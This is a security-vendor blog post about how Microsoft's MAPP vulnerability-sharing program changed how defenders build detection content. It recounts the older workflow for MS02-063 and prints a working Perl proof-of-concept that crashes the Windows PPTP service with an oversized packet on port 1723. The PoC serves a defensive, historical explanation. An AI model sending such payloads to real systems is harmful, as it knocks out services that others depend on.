Intro
Matt Watchinski here, Senior Director, Sourcefire Vulnerability Research Team (VRT). It’s that time of year again. The mercury is soaring above 100F, and I am crammed onto a “flying bus” heading out to Las Vegas to attend this year’s iteration of the Black Hat and DEF CON conferences. Something about this tradition always leads me to reflect on how the security space has evolved over the years. The fact that cyber-security is considered an industry in and of itself is a somewhat new development. And of all the signs that the industry is maturing, Microsoft’s Active Protection Program (MAPP) is probably one of the most significant.
Now I could go on to say “MAPP’s awesome, everyone loves it, it makes the world safer, and they give out free rainbows and unicorns.” However, if I did that, I’d probably get a bunch of fan boy emails and my iPhone might spontaneously combust. Instead I prefer to compare and contrast the process of creating detection content in the pre- and post-MAPP worlds. That’s how to really understand the impact of MAPP, and the value to its members.
Creating Detection Content
Every device that detects exploits, malware, and vulnerabilities, or other such security threats, is driven by three relatively simple yet complex principles:
1. Knowledge of the delivery mechanism of an attack and the ability to inspect it. This could be as simple as locating the data portion of a TCP packet, as complex as parsing DCERPC into all of its known structures and components, or deconstructing and decompressing a PDF file. Simply put, if you can’t find what you are looking for you can’t inspect it.
2. Knowing the preconditions for reaching the vulnerable code and the conditions necessary to trigger a given vulnerability.
3. A way to represent principles one and two in a way that can be updated in the detection system for each new threat.
Simple really – The defenders have to develop working PoC code for a vulnerability before they can update their detection systems. No PoC, no detection.
Before MAPP
Heck, let’s go back to before the invention of “Patch Tuesday” in October of 2003, or even further back, to October 30, 2002, and take a look at MS02-063, which was aptly titled “Unchecked Buffer in PPTP Implementation Could Enable Denial of Service Attacks.” No exploit for this vulnerability existed in the public domain at the time of release and to the best of my knowledge no exploit for it exists today. Unless you are Microsoft, the original reporter, or someone who has been looking for lots of bugs in PPTP, you had zero information on this bug. As a research engineer at the time, it was my job to add protections for this threat to our product. The following is an abbreviated version of the steps I had to go through to do that.
The first step is to determine the structure of the PPTP packets. PPTP has a documented RFC that Microsoft has implemented for this case that makes one’s job a whole lot easier. It’s a completely different story for something like DCERPC, which had no public documentation when the original LSD exploit was released.
SCR PPTP Packet Structure
-Length Field – 2 bytes
-PPTP message Type – 2 bytes
-Magic Cookie – 4 Bytes
-Control Message Type – 2 bytes
-Reserved0 – 2 Bytes
-Protocol Version – 2 bytes
-Reserved1 – 2 Bytes
-Framing Capabilities – 4 Bytes
-Bearer Capabilities – 4 Bytes
-Maximum Channels – 2 Bytes
-Firmware Revision – 2 Bytes
-Hostname – 8 Bytes
-Vendor String – 8 Bytes
Next, script up a basic implementation of PPTP in something like PERL or C. It’s 2002 remember; no Ruby or Python yet. Then it’s time to test it with some sample traffic. This requires setting up a complete Windows 2000 system with the PPTP service running, and since this is a kernel bug modifying the boot.ini with /DEBUG, hook up WinDBG to that good old fashioned COM port and start testing. Once normal traffic is flowing, and tcpdump is showing valid responses to session setup packets, the next step is to make that basic implementation into a quick fuzzer.
Test 37 : 420 “chars” at location 14.
After 37 iterations of the fuzzer, WinDBG popped up and, after a bit of Perl, I had a working PoC.
PoC
# Description:
Vulnerability is caused by the addition of a 417 byte payload to
a SCR (Service Control Request) PPTP packet
use IO::Socket;
$host = “X.Y.Z.A”;
$port = “1723”;
$scr = “\x00\x9c\x00\x01\x1a\x2b\x3c\x4d\x00\x01\x00\x00\x01\x00”;
$scr .= “\x00\x00\x00\x00\x00\x03\x00\x00\x00\x02\xff\xff\x00\x01\x41\x00”;
$scr .= “\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00”;
$scr .= “\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00”;
$scr .= “\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00”;
$scr .= “\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x41\x00”;
$scr .= “\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00”;
$scr .= “\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00”;
$scr .= “\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00”;
$scr .= “\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00”;
$scr .= “A” x 420;
$SOCK = IO::Socket::INET->new (
Proto => “tcp”,
PeerAddr => $host,
PeerPort => $port,
Type => SOCK_STREAM
);
if(! $SOCK)
{
print “Error\n”;
exit(0);
}
print $SOCK $scr;
Now I can go about my business of adding all of this intelligence to my detection system; how PPTP as a protocol works, where the vulnerability is, and what the specific conditions of exploitation are. Job done, on to the next patch.
Before MAPP, this is how everyone on the planet added security content to their devices. Unfortunately, this had a few unique disadvantages:
1. A Race – Defenders and attackers are on the same playing field when patches are released. He/she who reverses fastest wins.
2. Code Path Ignorance – There may be more than one way to reach a vulnerable portion of code. If that code path isn’t tested or identified it could lead to detection content that misses a new delivery vector.
3. Wasted Effort – If no other vulnerability is ever patched or released then all the research around the PPTP protocol is wasted.
4. Failure State – Even the smartest person sometimes fails. In this scenario it results in no detection content being provided for a specific threat.
After MAPP
The security landscape really changed after MAPP launched and began sharing high quality vulnerability data with its partners. No longer was it a race with the attackers. The defenders had a head start to build, test, and improve their detection technologies for these threats. Delivery vectors and different code paths could be investigated and covered accordingly, and the wasted effort of reverse engineering a file format or protocol could be channeled back into the development of the security solution. Finally, it changed the failure state by changing how the industry protects against attacks targeting Microsoft vulnerabilities. It is no longer about who has the smartest people to reverse engineer the patches, but about who has the most capable detection technology and the ability to represent the conditions of exploitation in their product in the most robust format.
Additionally, MAPP shows what can be done when you coordinate with an industry. Each vendor in MAPP releases timely detection content updates on Patch Tuesday to protect their customers. This allows for a much larger percentage of end users, a conglomeration of all MAPP member customers, to receive these protections. It also puts attackers in a race with deployment, as they have already lost the race of understanding the vulnerability.
Final Thoughts
Any software manufacturer that is serious about security should implement an information sharing program like MAPP and engage the security community to help protect their mutual customers. The attackers share information amongst themselves; the defenders need to share information too.